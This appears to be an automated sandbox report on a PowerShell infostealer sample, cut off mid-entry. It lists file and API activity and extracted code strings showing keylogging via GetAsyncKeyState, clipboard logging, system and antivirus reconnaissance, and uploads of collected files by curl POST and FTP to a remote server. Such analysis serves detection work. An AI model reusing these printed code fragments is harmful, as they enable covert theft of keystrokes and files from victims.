"c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\0d59b0e237d7519417de10cd84bda4e7\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\system.management.automation.ni.dll.aux"43:T48a,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5Z5IWZ5IPFW7556DHPS4.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF16ce41.TMP" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\5Z5IWZ5IPFW7556DHPS4.temp" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF16ce41.TMP"44:Tb95,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\LINKINFO.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ntshrui.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\SspiCli.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\srvcli.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\cscapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\en-US\SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\en-US\SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES.EXE" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe"45:Tbfc,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5Z5IWZ5IPFW7556DHPS4.temp" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\SYSTEM.NUMERICS" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.NUMERICS.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml"46:T547,Observed string: "end } finally { if ($fileStream) { $fileStream.Close() }; if ($httpClient) { $httpClient.Dispose() } }}function Send-Cache-To-Server { if (-not (Test-Path $CacheFile)) { return } try { $absPath = (Get-Item $CacheFile).FullName & curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath" | Out-Null } catch {}}function Send-Data-FTP { param([array]$Files, [int]$Counter, $Ftp) if (-not ($Ftp.host -and $Ftp.user)) { return } if (-not (Test-Path $Vault)) { New-Item $Vault -ItemType Directory -Force | Out-Null } $ArchiveName = "$($pcHash)_part$Counter.zip" $ZipPath = Join-Path $Vault $ArchiveName try { Compress-Archive -Path $Files.FullName -DestinationPath $ZipPath -Force $WC = New-Object System.Net.WebClient $WC.Credentials = New-Object System.Net.NetworkCredential($Ftp.user, $Ftp.pass) $WC.UploadFile("ftp://$($Ftp.host)/$ArchiveName", "STOR", $ZipPath) Remove-Item $ZipPat" (Indicator: "curl.exe -") in Source: 73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin Observed string: "& curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath" | Out-Null" (Indicator: "curl.exe -") in Source: 73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin47:T458,file/memory contains long string with (Indicator: "GetAsyncKeyState"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found reference to API "using System;using System.Runtime.InteropServices;namespace Microsoft.PowerShell.Commands.AddType.AutoGeneratedTypes public class Win32Internal { [DllImport("user32.dll")] public static extern short GetAsyncKeyState(int vKey); }" (Indicator: "GetAsyncKeyState"; File: "c5fnshuj.0.cs") Found reference to API "$Signature = '[DllImport("user32.dll")] public static extern short GetAsyncKeyState(int vKey);'" (Indicator: "GetAsyncKeyState"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found reference to API "if (($API::GetAsyncKeyState(17) -band 0x8000) -and ($API::GetAsyncKeyState(67) -eq -32767)) {" (Indicator: "GetAsyncKeyState"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found reference to API "if ($API::GetAsyncKeyState($v) -eq -32767) {" (Indicator: "GetAsyncKeyState"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")48:T8d6,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00007108) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007108) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007108) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00007108) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00007108) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00007108) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00007108) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00007108)49:T15ed,file/memory contains long string with (Indicator: "Where-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Sort-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "ForEach-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$internalIP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress -join " "" (Indicator: "Where-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$ActiveConnections = Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Select-Object -First 20" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LocalUsers = Get-LocalUser | Select-Object Name, Enabled, Description, LastLogon" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$admins = Get-LocalGroupMember -Group "Administrators" | Select-Object -ExpandProperty Name" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$RunningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, StartType | Select-Object -First 30" (Indicator: "Where-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$RunningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, StartType | Select-Object -First 30" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$TopProcesses = Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 | Select-Object Name, Id, CPU, WorkingSet" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$TopProcesses = Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 | Select-Object Name, Id, CPU, WorkingSet" (Indicator: "Sort-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$AutoRun = Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}}, @{N="Version";E={$_.DisplayVersion}}, @{N="Publisher";E={$_.Publisher}} | Sort-Object Software" (Indicator: "Where-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}}, @{N="Version";E={$_.DisplayVersion}}, @{N="Publisher";E={$_.Publisher}} | Sort-Object Software" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}}, @{N="Version";E={$_.DisplayVersion}}, @{N="Publisher";E={$_.Publisher}} | Sort-Object Software" (Indicator: "Sort-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated, Source, Message" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$items = Get-ChildItem -Path "$driveId\" -ErrorAction SilentlyContinue | Where-Object {$_.Name -notmatch $ExcludePatterns} | Sort-Object PSIsContainer -Descending | Select-Object -First 20" (Indicator: "Where-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$items = Get-ChildItem -Path "$driveId\" -ErrorAction SilentlyContinue | Where-Object {$_.Name -notmatch $ExcludePatterns} | Sort-Object PSIsContainer -Descending | Select-Object -First 20" (Indicator: "Select-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$items = Get-ChildItem -Path "$driveId\" -ErrorAction SilentlyContinue | Where-Object {$_.Name -notmatch $ExcludePatterns} | Sort-Object PSIsContainer -Descending | Select-Object -First 20" (Indicator: "Sort-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Get-ChildItem $p -Recurse -File -Include $Exts -ErrorAction SilentlyContinue | ForEach-Object {" (Indicator: "ForEach-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object {" (Indicator: "ForEach-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object {" (Indicator: "Where-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")4a:T53f,file/memory contains long string with (Indicator: "Get-CimInstance"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor" (Indicator: "Get-CimInstance"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$avStatus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct" (Indicator: "Get-CimInstance"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$AutoRun = Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location" (Indicator: "Get-CimInstance"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LogicalDisks = Get-CimInstance Win32_LogicalDisk" (Indicator: "Get-CimInstance"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object {" (Indicator: "Get-CimInstance"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimInstance"; File: "AMSI")4b:T1660,file/memory contains long string with (Indicator: "Get-Content"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-Date"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-Random"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-Service"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-NetTCPConnection"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-LocalGroupMember"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-LocalGroup"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-ItemProperty"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-Event"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-ChildItem"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-FileHash"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Get-Clipboard"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LastUploadTime = Get-Date" (Indicator: "Get-Date"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$pcHash = Get-Content $idFile" (Indicator: "Get-Content"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$pcHash = "$($env:COMPUTERNAME)-$(Get-Random -Min 1000 -Max 9999)"" (Indicator: "Get-Random"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$ActiveConnections = Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Select-Object -First 20" (Indicator: "Get-NetTCPConnection"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$admins = Get-LocalGroupMember -Group "Administrators" | Select-Object -ExpandProperty Name" (Indicator: "Get-LocalGroupMember"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$admins = Get-LocalGroupMember -Group "Administrators" | Select-Object -ExpandProperty Name" (Indicator: "Get-LocalGroup"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$RunningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, StartType | Select-Object -First 30" (Indicator: "Get-Service"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |" (Indicator: "Get-ItemProperty"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated, Source, Message" (Indicator: "Get-Event"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$items = Get-ChildItem -Path "$driveId\" -ErrorAction SilentlyContinue | Where-Object {$_.Name -notmatch $ExcludePatterns} | Sort-Object PSIsContainer -Descending | Select-Object -First 20" (Indicator: "Get-ChildItem"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LocalCache = if (Test-Path $CacheFile) { Get-Content $CacheFile | ConvertFrom-Json -AsHashtable } else { @{} }" (Indicator: "Get-Content"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Get-ChildItem $p -Recurse -File -Include $Exts -ErrorAction SilentlyContinue | ForEach-Object {" (Indicator: "Get-ChildItem"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$fHash = (Get-FileHash $_.FullName -Algorithm MD5).Hash" (Indicator: "Get-FileHash"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Remove-Item $LogFile; $LastUploadTime = Get-Date" (Indicator: "Get-Date"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$c = Get-Clipboard; if($c){ "`r`n[$(Get-Date -f 'HH:mm')] CLIP: $c" | Out-File $LogFile -Append -Encoding UTF8 }" (Indicator: "Get-Clipboard"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$c = Get-Clipboard; if($c){ "`r`n[$(Get-Date -f 'HH:mm')] CLIP: $c" | Out-File $LogFile -Append -Encoding UTF8 }" (Indicator: "Get-Date"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if ($k -eq "Enter") { if($sentence.Trim()){ "`r`n[$(Get-Date -f 'HH:mm')] $sentence" | Out-File $LogFile -Append -Encoding UTF8; $sentence = "" } }" (Indicator: "Get-Date"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")4c:T5f0,"Location $Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}}, @{N="Version";E={$_.DisplayVersion}}, @{N="Publisher";E={$_.Publisher}} | Sort-Object Software $eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated, Source, Message $LogicalDisks = Get-CimInstance Win32_LogicalDisk $DiskSectionsHtml = ""; $ExcludePatterns = "Windows|Program Files|ProgramData|Recycle\.Bin|System Volume Information|AppData|PerfLogs|Recovery|Boot" foreach ($disk in $LogicalDisks) { $driveId = $disk.DeviceID; $typeDesc = switch ($disk.DriveType) { 2 {"USB"} 3 {"HDD/SSD"} 4 {"Network"} default {"Unknown"} } if (-not (Test-Path "$driveId\")) { c" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin "$Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin4d:T948,file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: " Win32_Process"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: " Win32_Processor"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "antivirusproduct"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: " Win32_StartupCommand"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: " Win32_LogicalDisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor" (Indicator: " Win32_OperatingSystem"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor" (Indicator: " Win32_Process"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor" (Indicator: " Win32_Processor"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$avStatus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct" (Indicator: "antivirusproduct"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$AutoRun = Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location" (Indicator: " Win32_StartupCommand"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LogicalDisks = Get-CimInstance Win32_LogicalDisk" (Indicator: " Win32_LogicalDisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object {" (Indicator: " Win32_LogicalDisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")4e:Tb61,"powershell.exe" (Access type: "CREATE"; Path: 